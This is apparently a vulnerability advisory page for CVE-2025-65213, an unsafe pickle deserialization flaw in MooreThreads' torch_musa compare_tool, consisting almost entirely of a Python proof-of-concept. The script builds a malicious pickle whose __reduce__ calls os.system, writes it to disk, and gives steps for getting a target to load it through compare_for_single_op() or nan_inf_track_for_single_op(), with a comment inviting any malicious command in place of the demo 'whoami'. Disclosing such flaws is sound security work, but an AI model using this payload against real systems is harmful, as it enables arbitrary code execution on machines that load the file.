CVE-2025-65213 MooreThreads torch_musa 不安全反序列化漏洞

""" CVE-2025-65213 PoC - Malicious pickle file generator This PoC demonstrates the unsafe deserialization vulnerability in torch_musa.utils.compare_tool module. Usage: Generate the malicious pickle file, then trigger the vulnerability by having the target application load this file through compare_for_single_op() or nan_inf_track_for_single_op(). """ import pickle import os class MaliciousPayload: """ Malicious class that executes arbitrary code during unpickling. The __reduce__ method is called by pickle.load() to reconstruct the object. """ def __reduce__(self): # This command will be executed on the target system # Replace with any malicious command cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) def generate_malicious_pickle(output_path="malicious_compare.pkl"): """ Generate a malicious pickle file that exploits CVE-2025-65213. Args: output_path: Path where the malicious pickle file will be saved """ payload = MaliciousPayload() with open(output_path, 'wb') as f: pickle.dump(payload, f) print(f"[+] Malicious pickle file generated: {output_path}") print(f"[+] When loaded by vulnerable function, will execute: whoami > /tmp/pwned.txt") return output_path def simulate_vulnerable_code(pickle_file_path): """ Simulate the vulnerable code pattern found in torch_musa.utils.compare_tool This demonstrates how the vulnerability can be triggered. """ print(f"[*] Simulating vulnerable code execution...") print(f"[*] Loading file: {pickle_file_path}") # This is the vulnerable pattern from the affected code with open(pickle_file_path, 'rb') as f: # VULNERABLE: No validation of pickle file contents data = pickle.load(f) # Executes arbitrary code here print(f"[+] File loaded successfully (code execution occurred)") return data if __name__ == "__main__": import sys if len(sys.argv) > 1 and sys.argv[1] == "--generate": # Generate the malicious pickle file output_file = sys.argv[2] if len(sys.argv) > 2 else "malicious_compare.pkl" generate_malicious_pickle(output_file) else: # Demo mode: generate and trigger (for testing purposes only) malicious_file = generate_malicious_pickle() print("\n[*] To exploit this vulnerability:") print(f"[*] 1. Get the target to call compare_for_single_op('{malicious_file}')") print(f"[*] 2. Or get the target to call nan_inf_track_for_single_op('{malicious_file}')")